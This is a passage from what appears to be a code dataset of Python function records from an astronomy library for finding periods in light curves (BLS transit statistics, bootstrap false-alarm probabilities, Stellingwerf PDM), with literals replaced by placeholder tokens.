{'<STR_LIT>':thisbestperiod,<EOL>'<STR_LIT>':thisminepoch,<EOL>'<STR_LIT>':thissnr,<EOL>'<STR_LIT>':thistransdepth,<EOL>'<STR_LIT>':thistransduration,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':thistransingressbin,<EOL>'<STR_LIT>':thistransegressbin,<EOL>'<STR_LIT>':blsmodel,<EOL>'<STR_LIT>':subtractedmags,<EOL>'<STR_LIT>':tmags,<EOL>'<STR_LIT>':tphase}<EOL><DEDENT>", "docstring": "Actually calculates the stats.", "id": "f14759:m4"}
{"signature": "def bls_stats_singleperiod(times, mags, errs, period,<EOL>magsarefluxes=False,<EOL>sigclip=<NUM_LIT>,<EOL>perioddeltapercent=<NUM_LIT:10>,<EOL>nphasebins=<NUM_LIT:200>,<EOL>mintransitduration=<NUM_LIT>,<EOL>maxtransitduration=<NUM_LIT>,<EOL>ingressdurationfraction=<NUM_LIT:0.1>,<EOL>verbose=True):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>startp = period - perioddeltapercent*period/<NUM_LIT><EOL>if startp < <NUM_LIT:0>:<EOL><INDENT>startp = period<EOL><DEDENT>endp = period + perioddeltapercent*period/<NUM_LIT><EOL>blsres = bls_serial_pfind(stimes, smags, serrs,<EOL>verbose=verbose,<EOL>startp=startp,<EOL>endp=endp,<EOL>nphasebins=nphasebins,<EOL>mintransitduration=mintransitduration,<EOL>maxtransitduration=maxtransitduration,<EOL>magsarefluxes=magsarefluxes,<EOL>get_stats=False,<EOL>sigclip=None)<EOL>if (not blsres or<EOL>'<STR_LIT>' not in blsres or<EOL>blsres['<STR_LIT>'] is None):<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % period)<EOL>return None<EOL><DEDENT>thistransdepth = blsres['<STR_LIT>']['<STR_LIT>']<EOL>thistransduration = blsres['<STR_LIT>']['<STR_LIT>']<EOL>thisbestperiod = blsres['<STR_LIT>']<EOL>thistransingressbin = blsres['<STR_LIT>']['<STR_LIT>']<EOL>thistransegressbin = blsres['<STR_LIT>']['<STR_LIT>']<EOL>thisnphasebins = nphasebins<EOL>stats = _get_bls_stats(stimes,<EOL>smags,<EOL>serrs,<EOL>thistransdepth,<EOL>thistransduration,<EOL>ingressdurationfraction,<EOL>nphasebins,<EOL>thistransingressbin,<EOL>thistransegressbin,<EOL>thisbestperiod,<EOL>thisnphasebins,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>return stats<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT>", "docstring": "This calculates the SNR, depth, duration, a refit period, and time of\n    center-transit for a single period.\n\n    The equation used for SNR is::\n\n        SNR = (transit model depth / RMS of LC with transit model subtracted)\n              * sqrt(number of points in transit)\n\n    NOTE: you should set the kwargs `sigclip`, `nphasebins`,\n    `mintransitduration`, `maxtransitduration` to what you used for an initial\n    BLS run to detect transits in the input light curve to match those input\n    conditions.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        These contain the magnitude/flux time-series and any associated errors.\n\n    period : float\n        The period to search around and refit the transits. This will be used to\n        calculate the start and end periods of a rerun of BLS to calculate the\n        stats.\n\n    magsarefluxes : bool\n        Set to True if the input measurements in `mags` are actually fluxes and\n        not magnitudes.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    perioddeltapercent : float\n        The fraction of the period provided to use to search around this\n        value. This is a percentage. The period range searched will then be::\n\n            [period - (perioddeltapercent/100.0)*period,\n             period + (perioddeltapercent/100.0)*period]\n\n    nphasebins : int\n        The number of phase bins to use in the BLS run.\n\n    mintransitduration : float\n        The minimum transit duration in phase to consider.\n\n    maxtransitduration : float\n        The maximum transit duration to consider.\n\n    ingressdurationfraction : float\n        The fraction of the transit duration to use to generate an initial value\n        of the transit ingress duration for the BLS model refit. This will be\n        fit by this function.\n\n    verbose : bool\n        If True, will indicate progress and any problems encountered.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'period': the refit best period,\n             'epoch': the refit epoch (i.e. mid-transit time),\n             'snr':the SNR of the transit,\n             'transitdepth':the depth of the transit,\n             'transitduration':the duration of the transit,\n             'nphasebins':the input value of nphasebins,\n             'transingressbin':the phase bin containing transit ingress,\n             'transegressbin':the phase bin containing transit egress,\n             'blsmodel':the full BLS model used along with its parameters,\n             'subtractedmags':BLS model - phased light curve,\n             'phasedmags':the phase light curve,\n             'phases': the phase values}", "id": "f14759:m5"}
{"signature": "def bls_snr(blsdict,<EOL>times,<EOL>mags,<EOL>errs,<EOL>assumeserialbls=False,<EOL>magsarefluxes=False,<EOL>sigclip=<NUM_LIT>,<EOL>npeaks=None,<EOL>perioddeltapercent=<NUM_LIT:10>,<EOL>ingressdurationfraction=<NUM_LIT:0.1>,<EOL>verbose=True):", "body": "<EOL>if (npeaks and (<NUM_LIT:0> < npeaks < len(blsdict['<STR_LIT>']))):<EOL><INDENT>nperiods = npeaks<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>len(blsdict['<STR_LIT>']))<EOL><DEDENT>nperiods = len(blsdict['<STR_LIT>'])<EOL><DEDENT>nbestperiods = blsdict['<STR_LIT>'][:nperiods]<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>nbestsnrs = []<EOL>transitdepth, transitduration = [], []<EOL>nphasebins, transingressbin, transegressbin = [], [], []<EOL>allsubtractedmags = []<EOL>allphasedmags = []<EOL>allphases = []<EOL>allblsmodels = []<EOL>refitperiods = []<EOL>refitepochs = []<EOL>for period in nbestperiods:<EOL><INDENT>startp = period - perioddeltapercent*period/<NUM_LIT><EOL>if startp < <NUM_LIT:0>:<EOL><INDENT>startp = period<EOL><DEDENT>endp = period + perioddeltapercent*period/<NUM_LIT><EOL>if not assumeserialbls:<EOL><INDENT>prevkwargs = blsdict['<STR_LIT>'].copy()<EOL>prevkwargs['<STR_LIT>'] = verbose<EOL>prevkwargs['<STR_LIT>'] = startp<EOL>prevkwargs['<STR_LIT>'] = endp<EOL>prevkwargs['<STR_LIT>'] = None<EOL>blsres = bls_serial_pfind(stimes,<EOL>smags,<EOL>serrs,<EOL>**prevkwargs)<EOL><DEDENT>else:<EOL><INDENT>blsres = blsdict<EOL><DEDENT>thistransdepth = blsres['<STR_LIT>']['<STR_LIT>']<EOL>thistransduration = blsres['<STR_LIT>']['<STR_LIT>']<EOL>thisbestperiod = blsres['<STR_LIT>']<EOL>thistransingressbin = blsres['<STR_LIT>']['<STR_LIT>']<EOL>thistransegressbin = blsres['<STR_LIT>']['<STR_LIT>']<EOL>thisnphasebins = blsdict['<STR_LIT>']['<STR_LIT>']<EOL>stats = _get_bls_stats(stimes,<EOL>smags,<EOL>serrs,<EOL>thistransdepth,<EOL>thistransduration,<EOL>ingressdurationfraction,<EOL>nphasebins,<EOL>thistransingressbin,<EOL>thistransegressbin,<EOL>thisbestperiod,<EOL>thisnphasebins,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>nbestsnrs.append(stats['<STR_LIT>'])<EOL>transitdepth.append(stats['<STR_LIT>'])<EOL>transitduration.append(stats['<STR_LIT>'])<EOL>transingressbin.append(stats['<STR_LIT>'])<EOL>transegressbin.append(stats['<STR_LIT>'])<EOL>nphasebins.append(stats['<STR_LIT>'])<EOL>refitperiods.append(stats['<STR_LIT>'])<EOL>refitepochs.append(stats['<STR_LIT>'])<EOL>allsubtractedmags.append(stats['<STR_LIT>'])<EOL>allphasedmags.append(stats['<STR_LIT>'])<EOL>allphases.append(stats['<STR_LIT>'])<EOL>allblsmodels.append(stats['<STR_LIT>'])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>nbestsnrs = None<EOL>transitdepth, transitduration = None, None<EOL>nphasebins, transingressbin, transegressbin = None, None, None<EOL>allsubtractedmags, allphases, allphasedmags = None, None, None<EOL><DEDENT>return {'<STR_LIT>':npeaks,<EOL>'<STR_LIT>':refitperiods,<EOL>'<STR_LIT>':refitepochs,<EOL>'<STR_LIT>':nbestsnrs,<EOL>'<STR_LIT>':transitdepth,<EOL>'<STR_LIT>':transitduration,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':transingressbin,<EOL>'<STR_LIT>':transegressbin,<EOL>'<STR_LIT>':allblsmodels,<EOL>'<STR_LIT>':allsubtractedmags,<EOL>'<STR_LIT>':allphasedmags,<EOL>'<STR_LIT>':allphases}<EOL>", "docstring": "Calculates the signal to noise ratio for each best peak in the BLS\n    periodogram, along with transit depth, duration, and refit period and epoch.\n\n    The following equation is used for SNR::\n\n        SNR = (transit model depth / RMS of LC with transit model subtracted)\n              * sqrt(number of points in transit)\n\n    Parameters\n    ----------\n\n    blsdict : dict\n        This is an lspinfo dict produced by either `bls_parallel_pfind` or\n        `bls_serial_pfind` in this module, or by your own BLS function. If you\n        provide results in a dict from an external BLS function, make sure this\n        matches the form below::\n\n            {'bestperiod': the best period value in the periodogram,\n             'bestlspval': the periodogram peak associated with the best period,\n             'nbestpeaks': the input value of nbestpeaks,\n             'nbestlspvals': nbestpeaks-size list of best period peak values,\n             'nbestperiods': nbestpeaks-size list of best periods,\n             'lspvals': the full array of periodogram powers,\n             'frequencies': the full array of frequencies considered,\n             'periods': the full array of periods considered,\n             'blsresult': list of result dicts from eebls.f wrapper functions,\n             'stepsize': the actual stepsize used,\n             'nfreq': the actual nfreq used,\n             'nphasebins': the actual nphasebins used,\n             'mintransitduration': the input mintransitduration,\n             'maxtransitduration': the input maxtransitdurations,\n             'method':'bls' -> the name of the period-finder method,\n             'kwargs':{ dict of all of the input kwargs for record-keeping}}\n\n    times,mags,errs : np.array\n        These contain the magnitude/flux time-series and any associated errors.\n\n    assumeserialbls : bool\n        If this is True, this function will not rerun BLS around each best peak\n        in the input lspinfo dict to refit the periods and epochs. This is\n        usally required for `bls_parallel_pfind` so set this to False if you use\n        results from that function. The parallel method breaks up the frequency\n        space into chunks for speed, and the results may not exactly match those\n        from a regular BLS run.\n\n    magsarefluxes : bool\n        Set to True if the input measurements in `mags` are actually fluxes and\n        not magnitudes.\n\n    npeaks : int or None\n        This controls how many of the periods in `blsdict['nbestperiods']` to\n        find the SNR for. If it's None, then this will calculate the SNR for all\n        of them. If it's an integer between 1 and\n        `len(blsdict['nbestperiods'])`, will calculate for only the specified\n        number of peak periods, starting from the best period.\n\n    perioddeltapercent : float\n        The fraction of the period provided to use to search around this\n        value. This is a percentage. The period range searched will then be::\n\n            [period - (perioddeltapercent/100.0)*period,\n             period + (perioddeltapercent/100.0)*period]\n\n    ingressdurationfraction : float\n        The fraction of the transit duration to use to generate an initial value\n        of the transit ingress duration for the BLS model refit. This will be\n        fit by this function.\n\n    verbose : bool\n        If True, will indicate progress and any problems encountered.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'npeaks: the number of periodogram peaks requested to get SNR for,\n             'period': list of refit best periods for each requested peak,\n             'epoch': list of refit epochs (i.e. mid-transit times),\n             'snr':list of SNRs of the transit for each requested peak,\n             'transitdepth':list of depths of the transits,\n             'transitduration':list of durations of the transits,\n             'nphasebins':the input value of nphasebins,\n             'transingressbin':the phase bin containing transit ingress,\n             'transegressbin':the phase bin containing transit egress,\n             'allblsmodels':the full BLS models used along with its parameters,\n             'allsubtractedmags':BLS models - phased light curves,\n             'allphasedmags':the phase light curves,\n             'allphases': the phase values}", "id": "f14759:m6"}
{"signature": "def get_frequency_grid(times,<EOL>samplesperpeak=<NUM_LIT:5>,<EOL>nyquistfactor=<NUM_LIT:5>,<EOL>minfreq=None,<EOL>maxfreq=None,<EOL>returnf0dfnf=False):", "body": "baseline = times.max() - times.min()<EOL>nsamples = times.size<EOL>df = <NUM_LIT:1.> / baseline / samplesperpeak<EOL>if minfreq is not None:<EOL><INDENT>f0 = minfreq<EOL><DEDENT>else:<EOL><INDENT>f0 = <NUM_LIT:0.5> * df<EOL><DEDENT>if maxfreq is not None:<EOL><INDENT>Nf = int(np.ceil((maxfreq - f0) / df))<EOL><DEDENT>else:<EOL><INDENT>Nf = int(<NUM_LIT:0.5> * samplesperpeak * nyquistfactor * nsamples)<EOL><DEDENT>if returnf0dfnf:<EOL><INDENT>return f0, df, Nf, f0 + df * np.arange(Nf)<EOL><DEDENT>else:<EOL><INDENT>return f0 + df * np.arange(Nf)<EOL><DEDENT>", "docstring": "This calculates a frequency grid for the period finding functions in this\n    module.\n\n    Based on the autofrequency function in astropy.stats.lombscargle.\n\n    http://docs.astropy.org/en/stable/_modules/astropy/stats/lombscargle/core.html#LombScargle.autofrequency\n\n    Parameters\n    ----------\n\n    times : np.array\n        The times to use to generate the frequency grid over.\n\n    samplesperpeak : int\n        The minimum sample coverage each frequency point in the grid will get.\n\n    nyquistfactor : int\n        The multiplier over the Nyquist rate to use.\n\n    minfreq,maxfreq : float or None\n        If not None, these will be the limits of the frequency grid generated.\n\n    returnf0dfnf : bool\n        If this is True, will return the values of `f0`, `df`, and `Nf`\n        generated for this grid.\n\n    Returns\n    -------\n\n    np.array\n        A grid of frequencies.", "id": "f14760:m0"}
{"signature": "def independent_freq_count(frequencies, times, conservative=True):", "body": "M = frequencies.ptp()*times.ptp()<EOL>if conservative:<EOL><INDENT>M_eff = min([times.size, frequencies.size, M])<EOL><DEDENT>else:<EOL><INDENT>M_eff = M<EOL><DEDENT>return M_eff<EOL>", "docstring": "This estimates M: the number of independent frequencies in the periodogram.\n\n    This follows the terminology on page 3 of Zechmeister & Kurster (2009)::\n\n        M = DELTA_f / delta_f\n\n    where::\n\n        DELTA_f = freq.max() - freq.min()\n        delta_f = 1.0/(times.max() - times.min())\n\n    Parameters\n    ----------\n\n    frequencies : np.array\n        The frequencies array used for the calculation of the GLS periodogram.\n\n    times : np.array\n        The array of input times used for the calculation of the GLS\n        periodogram.\n\n    conservative : bool\n        If True, will follow the prescription given in Schwarzenberg-Czerny\n        (2003):\n\n        http://adsabs.harvard.edu/abs/2003ASPC..292..383S\n\n        and estimate the number of independent frequences as::\n\n            min(N_obs, N_freq, DELTA_f/delta_f)\n\n    Returns\n    -------\n\n    M : int\n        The number of independent frequencies.", "id": "f14760:m1"}
{"signature": "def bootstrap_falsealarmprob(lspinfo,<EOL>times,<EOL>mags,<EOL>errs,<EOL>nbootstrap=<NUM_LIT>,<EOL>magsarefluxes=False,<EOL>sigclip=<NUM_LIT>,<EOL>npeaks=None):", "body": "<EOL>if (npeaks and (<NUM_LIT:0> < npeaks < len(lspinfo['<STR_LIT>']))):<EOL><INDENT>nperiods = npeaks<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>len(lspinfo['<STR_LIT>']))<EOL>nperiods = len(lspinfo['<STR_LIT>'])<EOL><DEDENT>nbestperiods = lspinfo['<STR_LIT>'][:nperiods]<EOL>nbestpeaks = lspinfo['<STR_LIT>'][:nperiods]<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>allpeaks = []<EOL>allperiods = []<EOL>allfaps = []<EOL>alltrialbestpeaks = []<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>for ind, period, peak in zip(range(len(nbestperiods)),<EOL>nbestperiods,<EOL>nbestpeaks):<EOL><INDENT>LOGINFO('<STR_LIT>' % (ind+<NUM_LIT:1>, nbootstrap))<EOL>trialbestpeaks = []<EOL>for _trial in range(nbootstrap):<EOL><INDENT>tindex = np.random.randint(<NUM_LIT:0>,<EOL>high=mags.size,<EOL>size=mags.size)<EOL>if '<STR_LIT>' in lspinfo:<EOL><INDENT>kwargs = lspinfo['<STR_LIT>']<EOL>kwargs.update({'<STR_LIT>':magsarefluxes,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':False})<EOL><DEDENT>else:<EOL><INDENT>kwargs = {'<STR_LIT>':magsarefluxes,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':False}<EOL><DEDENT>lspres = LSPMETHODS[lspinfo['<STR_LIT>']](<EOL>times, mags[tindex], errs[tindex],<EOL>**kwargs<EOL>)<EOL>trialbestpeaks.append(lspres['<STR_LIT>'])<EOL><DEDENT>trialbestpeaks = np.array(trialbestpeaks)<EOL>alltrialbestpeaks.append(trialbestpeaks)<EOL>if lspinfo['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>falsealarmprob = (<EOL>(<NUM_LIT:1.0> + trialbestpeaks[trialbestpeaks > peak].size) /<EOL>(trialbestpeaks.size + <NUM_LIT:1.0>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>falsealarmprob = (<EOL>(<NUM_LIT:1.0> + trialbestpeaks[trialbestpeaks < peak].size) /<EOL>(trialbestpeaks.size + <NUM_LIT:1.0>)<EOL>)<EOL><DEDENT>LOGINFO('<STR_LIT>' % (ind+<NUM_LIT:1>,<EOL>period,<EOL>falsealarmprob))<EOL>allpeaks.append(peak)<EOL>allperiods.append(period)<EOL>allfaps.append(falsealarmprob)<EOL><DEDENT>return {'<STR_LIT>':allpeaks,<EOL>'<STR_LIT>':allperiods,<EOL>'<STR_LIT>':allfaps,<EOL>'<STR_LIT>':alltrialbestpeaks}<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT>", "docstring": "Calculates the false alarm probabilities of periodogram peaks using\n    bootstrap resampling of the magnitude time series.\n\n    The false alarm probability here is defined as::\n\n        (1.0 + sum(trialbestpeaks[i] > peak[j]))/(ntrialbestpeaks + 1)\n\n    for each best periodogram peak j. The index i is for each bootstrap\n    trial. This effectively gives us a significance for the peak. Smaller FAP\n    means a better chance that the peak is real.\n\n    The basic idea is to get the number of trial best peaks that are larger than\n    the current best peak and divide this by the total number of trials. The\n    distribution of these trial best peaks is obtained after scrambling the mag\n    values and rerunning the specified periodogram method for a bunch of trials.\n\n    `lspinfo` is the output dict from a periodbase periodogram function and MUST\n    contain a 'method' key that corresponds to one of the keys in the LSPMETHODS\n    dict above. This will let this function know which periodogram function to\n    run to generate the bootstrap samples. The lspinfo SHOULD also have a\n    'kwargs' key that corresponds to the input keyword arguments for the\n    periodogram function as it was run originally, to keep everything the same\n    during the bootstrap runs. If this is missing, default values will be used.\n\n    FIXME: this may not be strictly correct; must look more into bootstrap\n    significance testing. Also look into if we're doing resampling correctly for\n    time series because the samples are not iid. Look into moving block\n    bootstrap.\n\n    Parameters\n    ----------\n\n    lspinfo : dict\n        A dict of period-finder results from one of the period-finders in\n        periodbase, or your own functions, provided it's of the form and\n        contains at least the keys listed below::\n\n            {'periods': np.array of all periods searched by the period-finder,\n             'lspvals': np.array of periodogram power value for each period,\n             'bestperiod': a float value that is the period with the highest\n                           peak in the periodogram, i.e. the most-likely actual\n                           period,\n             'method': a three-letter code naming the period-finder used; must\n                       be one of the keys in the\n                       `astrobase.periodbase.METHODLABELS` dict,\n             'nbestperiods': a list of the periods corresponding to periodogram\n                             peaks (`nbestlspvals` below) to annotate on the\n                             periodogram plot so they can be called out\n                             visually,\n             'nbestlspvals': a list of the power values associated with\n                             periodogram peaks to annotate on the periodogram\n                             plot so they can be called out visually; should be\n                             the same length as `nbestperiods` above,\n             'kwargs': dict of kwargs passed to your own period-finder function}\n\n        If you provide your own function's period-finder results, you should add\n        a corresponding key for it to the LSPMETHODS dict above so the bootstrap\n        function can use it correctly. Your period-finder function should take\n        `times`, `mags`, errs and any extra parameters as kwargs and return a\n        dict of the form described above. A small worked example::\n\n            from your_module import your_periodfinder_func\n            from astrobase import periodbase\n\n            periodbase.LSPMETHODS['your-finder'] = your_periodfinder_func\n\n            # run a period-finder session\n            your_pfresults = your_periodfinder_func(times, mags, errs,\n                                                    **extra_kwargs)\n\n            # run bootstrap to find FAP\n            falsealarm_info = periodbase.bootstrap_falsealarmprob(\n                your_pfresults,\n                times, mags, errs,\n                nbootstrap=250,\n                magsarefluxes=False,\n            )\n\n    times,mags,errs : np.arrays\n        The magnitude/flux time-series to process along with their associated\n        measurement errors.\n\n    nbootstrap : int\n        The total number of bootstrap trials to run. This is set to 250 by\n        default, but should probably be around 1000 for realistic results.\n\n    magsarefluxes : bool\n        If True, indicates the input time-series is fluxes and not mags.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    npeaks : int or None\n        The number of peaks from the list of 'nbestlspvals' in the period-finder\n        result dict to run the bootstrap for. If None, all of the peaks in this\n        list will have their FAP calculated.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict of the form::\n\n            {'peaks':allpeaks,\n             'periods':allperiods,\n             'probabilities':allfaps,\n             'alltrialbestpeaks':alltrialbestpeaks}", "id": "f14760:m2"}
{"signature": "def make_combined_periodogram(pflist, outfile, addmethods=False):", "body": "import matplotlib.pyplot as plt<EOL>for pf in pflist:<EOL><INDENT>if pf['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>plt.plot(pf['<STR_LIT>'],<EOL>np.max(pf['<STR_LIT>'])/pf['<STR_LIT>'] - <NUM_LIT:1.0>,<EOL>label='<STR_LIT>' % (pf['<STR_LIT>'], pf['<STR_LIT>']),<EOL>alpha=<NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>plt.plot(pf['<STR_LIT>'],<EOL>pf['<STR_LIT>']/np.max(pf['<STR_LIT>']),<EOL>label='<STR_LIT>' % (pf['<STR_LIT>'], pf['<STR_LIT>']),<EOL>alpha=<NUM_LIT:0.5>)<EOL><DEDENT><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.xscale('<STR_LIT>')<EOL>plt.legend()<EOL>plt.tight_layout()<EOL>plt.savefig(outfile)<EOL>plt.close('<STR_LIT:all>')<EOL>return outfile<EOL>", "docstring": "This just puts all of the period-finders on a single periodogram.\n\n    This will renormalize all of the periodograms so their values lie between 0\n    and 1, with values lying closer to 1 being more significant. Periodograms\n    that give the same best periods will have their peaks line up together.\n\n    Parameters\n    ----------\n\n    pflist : list of dict\n        This is a list of result dicts from any of the period-finders in\n        periodbase. To use your own period-finders' results here, make sure the\n        result dict is of the form and has at least the keys below::\n\n            {'periods': np.array of all periods searched by the period-finder,\n             'lspvals': np.array of periodogram power value for each period,\n             'bestperiod': a float value that is the period with the highest\n                           peak in the periodogram, i.e. the most-likely actual\n                           period,\n             'method': a three-letter code naming the period-finder used; must\n                       be one of the keys in the\n                       `astrobase.periodbase.METHODLABELS` dict,\n             'nbestperiods': a list of the periods corresponding to periodogram\n                             peaks (`nbestlspvals` below) to annotate on the\n                             periodogram plot so they can be called out\n                             visually,\n             'nbestlspvals': a list of the power values associated with\n                             periodogram peaks to annotate on the periodogram\n                             plot so they can be called out visually; should be\n                             the same length as `nbestperiods` above,\n             'kwargs': dict of kwargs passed to your own period-finder function}\n\n    outfile : str\n        This is the output file to write the output to. NOTE: EPS/PS won't work\n        because we use alpha transparency to better distinguish between the\n        various periodograms.\n\n    addmethods : bool\n        If this is True, will add all of the normalized periodograms together,\n        then renormalize them to between 0 and 1. In this way, if all of the\n        period-finders agree on something, it'll stand out easily. FIXME:\n        implement this kwarg.\n\n    Returns\n    -------\n\n    str\n        The name of the generated plot file.", "id": "f14760:m3"}
{"signature": "def stellingwerf_pdm_theta(times, mags, errs, frequency,<EOL>binsize=<NUM_LIT>, minbin=<NUM_LIT:9>):", "body": "period = <NUM_LIT:1.0>/frequency<EOL>fold_time = times[<NUM_LIT:0>]<EOL>phased = phase_magseries(times,<EOL>mags,<EOL>period,<EOL>fold_time,<EOL>wrap=False,<EOL>sort=True)<EOL>phases = phased['<STR_LIT>']<EOL>pmags = phased['<STR_LIT>']<EOL>bins = nparange(<NUM_LIT:0.0>, <NUM_LIT:1.0>, binsize)<EOL>binnedphaseinds = npdigitize(phases, bins)<EOL>binvariances = []<EOL>binndets = []<EOL>goodbins = <NUM_LIT:0><EOL>for x in npunique(binnedphaseinds):<EOL><INDENT>thisbin_inds = binnedphaseinds == x<EOL>thisbin_mags = pmags[thisbin_inds]<EOL>if thisbin_mags.size > minbin:<EOL><INDENT>thisbin_variance = npvar(thisbin_mags,ddof=<NUM_LIT:1>)<EOL>binvariances.append(thisbin_variance)<EOL>binndets.append(thisbin_mags.size)<EOL>goodbins = goodbins + <NUM_LIT:1><EOL><DEDENT><DEDENT>binvariances = nparray(binvariances)<EOL>binndets = nparray(binndets)<EOL>theta_top = npsum(binvariances*(binndets - <NUM_LIT:1>)) / (npsum(binndets) -<EOL>goodbins)<EOL>theta_bot = npvar(pmags,ddof=<NUM_LIT:1>)<EOL>theta = theta_top/theta_bot<EOL>return theta<EOL>", "docstring": "This calculates the Stellingwerf PDM theta value at a test frequency.\n\nParameters\n----------\n\ntimes,mags,errs : np.array\n    The input time-series and associated errors.\n\nfrequency : float\n    The test frequency to calculate the theta statistic at.\n\nbinsize : float\n    The phase bin size to use.\n\nminbin : int\n    The minimum number of items in a phase bin to consider in the\n    calculation of the statistic.\n\nReturns\n-------\n\ntheta_pdm : float\n    The value of the theta statistic at the specified `frequency`.", "id": "f14761:m0"}
{"signature": "def _stellingwerf_pdm_worker(task):", "body": "times, mags, errs, frequency, binsize, minbin = task<EOL>try:<EOL><INDENT>theta = stellingwerf_pdm_theta(times, mags, errs, frequency,<EOL>binsize=binsize, minbin=minbin)<EOL>return theta<EOL><DEDENT>except Exception as e:<EOL><INDENT>return npnan<EOL><DEDENT>", "docstring": "This is a parallel worker for the function below.\n\nParameters\n----------\n\ntask : tuple\n    This is of the form below::\n\n        task[0] = times\n        task[1] = mags\n        task[2] = errs\n        task[3] = frequency\n        task[4] = binsize\n        task[5] = minbin\n\nReturns\n-------\n\ntheta_pdm : float\n    The theta value at the specified frequency. nan if the calculation\n    fails.", "id": "f14761:m1"}
{"signature": "def stellingwerf_pdm(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=False,<EOL>startp=None,<EOL>endp=None,<EOL>stepsize=<NUM_LIT>,<EOL>autofreq=True,<EOL>normalize=False,<EOL>phasebinsize=<NUM_LIT>,<EOL>mindetperbin=<NUM_LIT:9>,<EOL>nbestpeaks=<NUM_LIT:5>,<EOL>periodepsilon=<NUM_LIT:0.1>,<EOL>sigclip=<NUM_LIT>,<EOL>nworkers=None,<EOL>verbose=True):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>if startp:<EOL><INDENT>endf = <NUM_LIT:1.0>/startp<EOL><DEDENT>else:<EOL><INDENT>endf = <NUM_LIT:1.0>/<NUM_LIT:0.1><EOL><DEDENT>if endp:<EOL><INDENT>startf = <NUM_LIT:1.0>/endp<EOL><DEDENT>else:<EOL><INDENT>startf = <NUM_LIT:1.0>/(stimes.max() - stimes.min())<EOL><DEDENT>if not autofreq:<EOL><INDENT>frequencies = nparange(startf, endf, stepsize)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(frequencies.size, <NUM_LIT:1.0>/endf, <NUM_LIT:1.0>/startf)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>frequencies = get_frequency_grid(stimes,<EOL>minfreq=startf,<EOL>maxfreq=endf)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' 